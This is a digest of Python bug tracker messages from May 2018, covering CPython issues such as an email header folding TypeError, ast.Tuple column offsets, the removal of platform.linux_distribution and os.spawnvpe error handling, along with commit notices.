[issue33523] loop.run_until_complete re-entrancy to support more complicated codebases in transition to asyncio In-Reply-To: <1526401266.56.0.682650639539.issue33523@psf.upfronthosting.co.za> Message-ID: <1526401394.67.0.682650639539.issue33523@psf.upfronthosting.co.za> Change by Jason Fried : ---------- keywords: +patch pull_requests: +6540 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:35:30 2018 From: report at bugs.python.org (radical164) Date: Tue, 15 May 2018 16:35:30 +0000 Subject: [issue33524] non-ascii characters in headers causes TypeError on email.policy.Policy.fold Message-ID: <1526402130.36.0.682650639539.issue33524@psf.upfronthosting.co.za> New submission from radical164 : Python 3.6.5 has trouble on folding email messages: Traceback (most recent call last): File "emailtest.py", line 7, in policy.fold("Subject", msg["Subject"]) File "/usr/lib/python3.6/email/policy.py", line 183, in fold return self._fold(name, value, refold_binary=True) File "/usr/lib/python3.6/email/policy.py", line 205, in _fold return value.fold(policy=self) File "/usr/lib/python3.6/email/headerregistry.py", line 258, in fold return header.fold(policy=policy) File "/usr/lib/python3.6/email/_header_value_parser.py", line 144, in fold return _refold_parse_tree(self, policy=policy) File "/usr/lib/python3.6/email/_header_value_parser.py", line 2651, in _refold_parse_tree part.ew_combine_allowed, charset) File "/usr/lib/python3.6/email/_header_value_parser.py", line 2728, in _fold_as_ew first_part = to_encode[:text_space] TypeError: slice indices must be integers or None or have an __index__ method The message has non-ascii characters in header and set max_line_length=0, regardless length of the header. Here is the code to reproduce. from email.message import EmailMessage from email.policy import default policy = default.clone(max_line_length=0) msg = EmailMessage() msg["Subject"] = "?" policy.fold("Subject", msg["Subject"]) I first found this issue on Maildir.add, which saves the message to a file without word wrap. ---------- components: email messages: 316680 nosy: barry, r.david.murray, radical164 priority: normal severity: normal status: open title: non-ascii characters in headers causes TypeError on email.policy.Policy.fold type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 12:58:35 2018 From: report at bugs.python.org (Jakub Wilk) Date: Tue, 15 May 2018 16:58:35 +0000 Subject: [issue19124] os.execv executes in background on Windows In-Reply-To: <1380451602.11.0.517013085188.issue19124@psf.upfronthosting.co.za> Message-ID: <1526403515.43.0.682650639539.issue19124@psf.upfronthosting.co.za> Change by Jakub Wilk : ---------- nosy: +jwilk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:04:08 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 17:04:08 +0000 Subject: [issue33524] non-ascii characters in headers causes TypeError on email.policy.Policy.fold In-Reply-To: <1526402130.36.0.682650639539.issue33524@psf.upfronthosting.co.za> Message-ID: <1526403848.5.0.682650639539.issue33524@psf.upfronthosting.co.za> R. David Murray added the comment: Oh, interesting. I could argue that that's a missing feature in Python's slice handling. The value of text_space at that point is '+inf', and I obviously incorrectly assumed that slicing would treat that as if it were [:]. The counter argument, of course, is that inf is a float not an integer. I suppose we'll have to use sys.maxsize instead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:30:15 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 17:30:15 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526405415.94.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset f4fdb619ddb5b00178c79c2b90adc45075b5f17d by Petr Viktorin (Miss Islington (bot)) in branch '3.7': bpo-28167: bump platform.linux_distribution removal to 3.8 (GH-6669) (GH-6862) https://github.com/python/cpython/commit/f4fdb619ddb5b00178c79c2b90adc45075b5f17d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:31:51 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 17:31:51 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526405511.06.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: New changeset e618e96581a711f2bc4f9bbcff6069bea15f0177 by Petr Viktorin in branch '3.6': bpo-28167: bump platform.linux_distribution removal to 3.8 (GH-6864) https://github.com/python/cpython/commit/e618e96581a711f2bc4f9bbcff6069bea15f0177 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:33:18 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 15 May 2018 17:33:18 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526405598.87.0.682650639539.issue33520@psf.upfronthosting.co.za> ?ukasz Langa added the comment: This is because technically parentheses aren't part of the tuple. They are just organizational and unnecessary for the tuple to be recognized by the parser. Those two are equivalent: >>> ast.parse("(1,2,3)").body[0].value.col_offset 1 >>> ast.parse("(1)").body[0].value.col_offset 1 You can see similar behavior within generator expressions in contexts where the parentheses are not semantically required: >>> ast.parse("c(i for i in range(10))").body[0].value.args[0].col_offset 2 >>> ast.parse("c((i for i in range(10)))").body[0].value.args[0].col_offset 3 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:33:56 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 15 May 2018 17:33:56 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526405636.18.0.682650639539.issue33520@psf.upfronthosting.co.za> ?ukasz Langa added the comment: For comparison, a tuple without parentheses: >>> ast.parse("1,2,3").body[0].value.col_offset 0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:39:29 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 15 May 2018 17:39:29 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526405969.45.0.682650639539.issue33470@psf.upfronthosting.co.za> Miro Hron?ok added the comment: Sorry for mixing two things here, but I meant that I found out about this because of the private API use in gdb, however nothing from the change is documented on whatsnew at all. This bug was a reaction for https://github.com/python/cpython/pull/1638#issuecomment-388497381 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:45:15 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Tue, 15 May 2018 17:45:15 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526406315.09.0.682650639539.issue33479@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: @markroseman replied to python-dev since those perspectives are off topic for this ticket. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:51:23 2018 From: report at bugs.python.org (Brett Cannon) Date: Tue, 15 May 2018 17:51:23 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1526406683.93.0.682650639539.issue33510@psf.upfronthosting.co.za> Brett Cannon added the comment: I just wanted to say thanks to Steve for at least taking the time to open the issues to ask if we would consider accepting the proposed changes. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:55:12 2018 From: report at bugs.python.org (John Reese) Date: Tue, 15 May 2018 17:55:12 +0000 Subject: [issue33496] Accept Pathlib paths for sqlite file In-Reply-To: <1526307862.09.0.682650639539.issue33496@psf.upfronthosting.co.za> Message-ID: <1526406912.24.0.682650639539.issue33496@psf.upfronthosting.co.za> Change by John Reese : ---------- nosy: +jreese _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 13:59:55 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 17:59:55 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1526407195.64.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Mark, would you review or at least comment on PR 6444? Your comments in msg316669 on #33479 suggest that you have the requisite knowledge. ---------- nosy: +markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:20:41 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 18:20:41 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526408441.44.0.682650639539.issue29706@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 389a48ede92bf7965889d554d2cd17b50d6e3d86 by Terry Jan Reedy in branch 'master': bpo-29706: Test that IDLE colors async/await as keywords. (GH-6846) https://github.com/python/cpython/commit/389a48ede92bf7965889d554d2cd17b50d6e3d86 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:20:50 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 18:20:50 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526408450.41.0.682650639539.issue29706@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6541 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:21:48 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 18:21:48 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526408508.98.0.682650639539.issue29706@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6542 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:41:16 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 15 May 2018 18:41:16 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526409676.81.0.682650639539.issue33465@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: New changeset 8709b236fc997077d24b4802320db287640f82e2 by Barry Warsaw in branch 'master': bpo-33465: Use an unlikely to be built-in C extension in a test (#6797) https://github.com/python/cpython/commit/8709b236fc997077d24b4802320db287640f82e2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:41:25 2018 From: report at bugs.python.org (Brett Cannon) Date: Tue, 15 May 2018 18:41:25 +0000 Subject: [issue33399] site.abs_paths should handle None __cached__ type In-Reply-To: <1525197371.8.0.682650639539.issue33399@psf.upfronthosting.co.za> Message-ID: <1526409685.89.0.682650639539.issue33399@psf.upfronthosting.co.za> Brett Cannon added the comment: I didn't bother digging as I assume this was done for a reason. I left a request for changes on the PR to make the code has a stricter `try` block. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:42:14 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 15 May 2018 18:42:14 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526409734.89.0.682650639539.issue33509@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset b056562860c227bad2e0ba7cd3130e115c007768 by Victor Stinner in branch 'master': bpo-33509: Fix _warnings for module_globals=None (#6833) https://github.com/python/cpython/commit/b056562860c227bad2e0ba7cd3130e115c007768 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:42:26 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 18:42:26 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526409746.56.0.682650639539.issue33465@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6543 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:43:44 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 18:43:44 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526409824.16.0.682650639539.issue33509@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6544 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:43:52 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 18:43:52 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526409832.37.0.682650639539.issue28167@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- pull_requests: +6545 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:44:50 2018 From: report at bugs.python.org (Brett Cannon) Date: Tue, 15 May 2018 18:44:50 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526409890.59.0.682650639539.issue33465@psf.upfronthosting.co.za> Change by Brett Cannon : ---------- assignee: -> barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:58:31 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 18:58:31 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526410711.94.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: Marc-Andre, I opened a PR to remove platform.linux_distribution() in Python 3.8. How do you feel about this? ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:58:38 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 18:58:38 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org Message-ID: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> New submission from Ned Deily : New changeset 19177fbd5d6d9b29ccc302d65f9d9417ece082ce by Ned Deily (St?phane Wirtel) in branch 'master': bpo-33503: Fix the broken pypi link in the source and the documentation (GH-6814) https://github.com/python/cpython/commit/19177fbd5d6d9b29ccc302d65f9d9417ece082ce ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 14:59:47 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 18:59:47 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526410787.25.0.682650639539.issue33503@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6546 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:00:02 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 19:00:02 +0000 Subject: [issue1322] Deprecate platform.dist() and platform.linux_distribution() functions In-Reply-To: <1193246464.1.0.269134020057.issue1322@psf.upfronthosting.co.za> Message-ID: <1526410802.37.0.682650639539.issue1322@psf.upfronthosting.co.za> Petr Viktorin added the comment: Marc-Andre, if you agree the function can be removed in 3.8. This is tracked in https://bugs.python.org/issue28167 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:01:24 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 19:01:24 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526410884.8.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6547 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:07:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 15 May 2018 19:07:54 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? In-Reply-To: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> Message-ID: <1526411274.05.0.682650639539.issue33519@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: MutableSequence defines an interface. Adding a new method will break all classes that implemented this protocol but not the new method. And what should .copy() return? list subclasses return an exact list, bytearray subclasses return an exact bytearray, but deque subclasses try to create an instance of the same type. Not all mutable sequences can be copyable. The constructor is not the part of the protocol. The same problems are in MutableSet and MutableMapping. This is why they don't provide copy() methods (but concrete classes set and dict do). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:08:01 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 15 May 2018 19:08:01 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1526411281.34.0.682650639539.issue33510@psf.upfronthosting.co.za> Vinay Sajip added the comment: > I just wanted to say thanks to Steve for at least taking the time to open the issues to ask if we would consider accepting the proposed changes. Sure, and I probably come across as somewhat tetchy in my responses. That's just down to a shortage of time at the minute, and not in general because contributions to logging aren't welcome. They are (in general), as evidenced by numerous PRs which have been accepted. I would say that for the most part, new handlers, formatters etc. ought to be published on PyPI so that they gain wide exposure. The logging package is reasonably "batteries included" already as regards handlers, etc. and new ones should only be added if they can be shown to have really wide applicability. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:14:21 2018 From: report at bugs.python.org (Mark Shannon) Date: Tue, 15 May 2018 19:14:21 +0000 Subject: [issue33525] os.spawnvpe() returns error code 127 instead of raising when env argument is invalid. Message-ID: <1526411661.08.0.682650639539.issue33525@psf.upfronthosting.co.za> New submission from Mark Shannon : >>> os.spawnvpe(os.P_WAIT, "python2", ["python2", "-c", "print 'Hello World!'"], {}) Hello World! 0 >>> os.spawnvpe(os.P_WAIT, "python2", ["python2", "-c", "print 'Hello World!'"], None) 127 The latter should raise an exception of some sort. >From error found on lgtm.com https://lgtm.com/projects/g/python/cpython/snapshot/404ccc0aa78cd896ecb025571633a68b7292e8d4/files/Lib/os.py?sort=name&dir=ASC&mode=heatmap&showExcluded=false#xf40b8a11dc3c558c:1 ---------- components: Library (Lib) messages: 316699 nosy: Mark.Shannon priority: normal severity: normal stage: needs patch status: open title: os.spawnvpe() returns error code 127 instead of raising when env argument is invalid. type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:14:37 2018 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 15 May 2018 19:14:37 +0000 Subject: [issue33388] Support PEP 566 metadata in dist.py In-Reply-To: <1525027919.12.0.682650639539.issue33388@psf.upfronthosting.co.za> Message-ID: <1526411677.37.0.682650639539.issue33388@psf.upfronthosting.co.za> ?ric Araujo added the comment: In the early days, I think distutils was updated to support new metadata PEPs, and then it stopped. Now we have an ecosystem of tools that know how to work with metadata files created by distutils or setuptools; I worry that changing distutils could break them. See https://bugs.python.org/issue33069#msg313826 and github discussions linked from that ticket for a change proposed recently. The situation seems different here: new params could be added to setup and Distribution, and written only if present (with the right metadata version). But I still worry that implicitly switching the metadata version could cause trouble. Some years ago I thought it would be good to add things to distutils (new commands or options that don?t change existing code with all its quirks), like wheel generation or stable ABI tag support. One could imagine for example a new metadata_version param to setup to have explicit opt-in to newer metadata format. But this would require changes to the Metadata class, could have unexpected bugs, would only be available in Python 3.8. If we don?t touch distutils, users can be directed to setuptools that is actively maintained, or other tools like flit that don?t have all the baggage. It?s not a seamless experience yet, but things are getting better for packaging outside of the stdlib. ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:19:14 2018 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 15 May 2018 19:19:14 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526411954.51.0.682650639539.issue33109@psf.upfronthosting.co.za> ?ric Araujo added the comment: I'm sorry I don't have the time to study this and make a judgment call. Bringing this to the release manager's attention. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:19:33 2018 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 15 May 2018 19:19:33 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526411973.1.0.682650639539.issue33109@psf.upfronthosting.co.za> Change by ?ric Araujo : ---------- Removed message: https://bugs.python.org/msg316702 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:19:35 2018 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 15 May 2018 19:19:35 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526411975.17.0.682650639539.issue33109@psf.upfronthosting.co.za> Change by ?ric Araujo : ---------- Removed message: https://bugs.python.org/msg316703 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:20:08 2018 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 15 May 2018 19:20:08 +0000 Subject: [issue33069] Maintainer information discarded when writing PKG-INFO In-Reply-To: <1520948629.75.0.467229070634.issue33069@psf.upfronthosting.co.za> Message-ID: <1526412008.09.0.682650639539.issue33069@psf.upfronthosting.co.za> ?ric Araujo added the comment: See also #33388 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:30:03 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 15 May 2018 19:30:03 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526412603.81.0.682650639539.issue32769@psf.upfronthosting.co.za> ?ukasz Langa added the comment: > It may be deprecated but the usage still exists. This is a glossary, not a manifesto. Agreed. However, based on the current wording users will argue that Python documentation itself is stressing the lack of an intended purpose for annotations, equaling the typing use case with all other use cases (including future ones). This isn't our intent. I think it would be clearer to change the current wording from: > A metadata value associated with a variable, a class attribute or a > function or method parameter or return value, that has no specific > purpouse (i.e. it's up to the user to use it as they see fit). > (...) > Annotations can be used to specify :term:`type hints `. to: > A metadata value associated with a variable, a class attribute or a > function or method parameter or return value, that stores a > :term:`type hint`. > (...) > Annotations can be used for other purposes unrelated to typing. This > usage is deprecated, see :pep:`563` for details. The `type hint` phrasing is already there, we just need to delete the word "global" that currently appears before "variable". Note that saying that annotations in class attributes and variables have no assigned meaning contradicts PEP 526. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:37:24 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 19:37:24 +0000 Subject: [issue33427] Dead link in "The Python Standard Library" page In-Reply-To: <1525489435.58.0.682650639539.issue33427@psf.upfronthosting.co.za> Message-ID: <1526413044.2.0.682650639539.issue33427@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for noticing and for providing the PR. The proposed change is a subset of the changes for Issue33503. ---------- resolution: -> duplicate stage: patch review -> resolved status: open -> closed superseder: -> use pypi.org instead of pypi.python.org _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:40:45 2018 From: report at bugs.python.org (Ethan Furman) Date: Tue, 15 May 2018 19:40:45 +0000 Subject: [issue31947] names=None case is not handled by EnumMeta._create_ method In-Reply-To: <1509880866.58.0.213398074469.issue31947@psf.upfronthosting.co.za> Message-ID: <1526413245.28.0.682650639539.issue31947@psf.upfronthosting.co.za> Ethan Furman added the comment: Thank you, Anentropic! ---------- assignee: -> ethan.furman resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:45:02 2018 From: report at bugs.python.org (Isaiah Peng) Date: Tue, 15 May 2018 19:45:02 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526413502.34.0.682650639539.issue33520@psf.upfronthosting.co.za> Isaiah Peng added the comment: Thanks for the reply, that's quite reasonable, especially take the generator expression case into consideration. However I found this is not consistent with empty tuple: >>> a = "()" >>> ast.parse(a).body[0].value.col_offset 0 It's true that the parenthesis is required to construct a tuple, but if the parenthesis is served as the starting point of the tuple, then the col_offset should be the opening parenthesis. i.e. in the following example, both should start from col 2: >>> ast.parse("c(i for i in range(10))").body[0].value.args[0].col_offset 2 >>> ast.parse("c((i for i in range(10)))").body[0].value.args[0].col_offset 3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:45:46 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 15 May 2018 19:45:46 +0000 Subject: [issue33015] Fix function cast warning in thread_pthread.h In-Reply-To: <1520362573.83.0.467229070634.issue33015@psf.upfronthosting.co.za> Message-ID: <1526413546.04.0.682650639539.issue33015@psf.upfronthosting.co.za> Steve Dower added the comment: Ah okay, fair enough. Knowing that, I'll take another look at the PR. I'd really like to simplify this as much as possible to avoid risk of regression. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:46:50 2018 From: report at bugs.python.org (Isaiah Peng) Date: Tue, 15 May 2018 19:46:50 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526413610.3.0.682650639539.issue33520@psf.upfronthosting.co.za> Isaiah Peng added the comment: > It's true that the parenthesis is required to construct a tuple Sorry, I mean the parenthesis is *not* required. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:49:03 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 15 May 2018 19:49:03 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526413743.94.0.682650639539.issue19950@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +6548 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 15:57:15 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 19:57:15 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526414235.85.0.682650639539.issue29706@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 8717cfeb6b8bebdfe13df0e9268ddd252ab5ecad by Miss Islington (bot) in branch '3.7': bpo-29706: Test that IDLE colors async/await as keywords. (GH-6846) https://github.com/python/cpython/commit/8717cfeb6b8bebdfe13df0e9268ddd252ab5ecad ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:02:21 2018 From: report at bugs.python.org (Jimmy Lai) Date: Tue, 15 May 2018 20:02:21 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526414541.71.0.682650639539.issue33521@psf.upfronthosting.co.za> Jimmy Lai added the comment: $./python.exe isfuture_benchmark.py -o isfuture_optimized.json $ ./python.exe -m perf compare_to isfuture_original.json isfuture_optimized.json Mean +- std dev: [isfuture_original] 7.16 ms +- 0.23 ms -> [isfuture_optimized] 5.41 ms +- 0.25 ms: 1.32x faster (-24%) ---------- title: Optimize asyncio.isfuture by providing C implementation -> Add 1.32x faster C implementation of asyncio.isfuture(). Added file: https://bugs.python.org/file47593/isfuture_benchmark.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:08:26 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 20:08:26 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526414906.54.0.682650639539.issue33520@psf.upfronthosting.co.za> R. David Murray added the comment: No, the parenthesis are never part of the tuple itself, even if you can't write syntactically correct code without them. They just syntactically group the expression list to isolate it from the surrounding context. It's the same principle as having an expression like (123). That's an integer that happens to be surrounded by parenthesis. The integer itself still starts at column 1. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:08:58 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 20:08:58 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526414938.76.0.682650639539.issue33520@psf.upfronthosting.co.za> Change by R. David Murray : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed 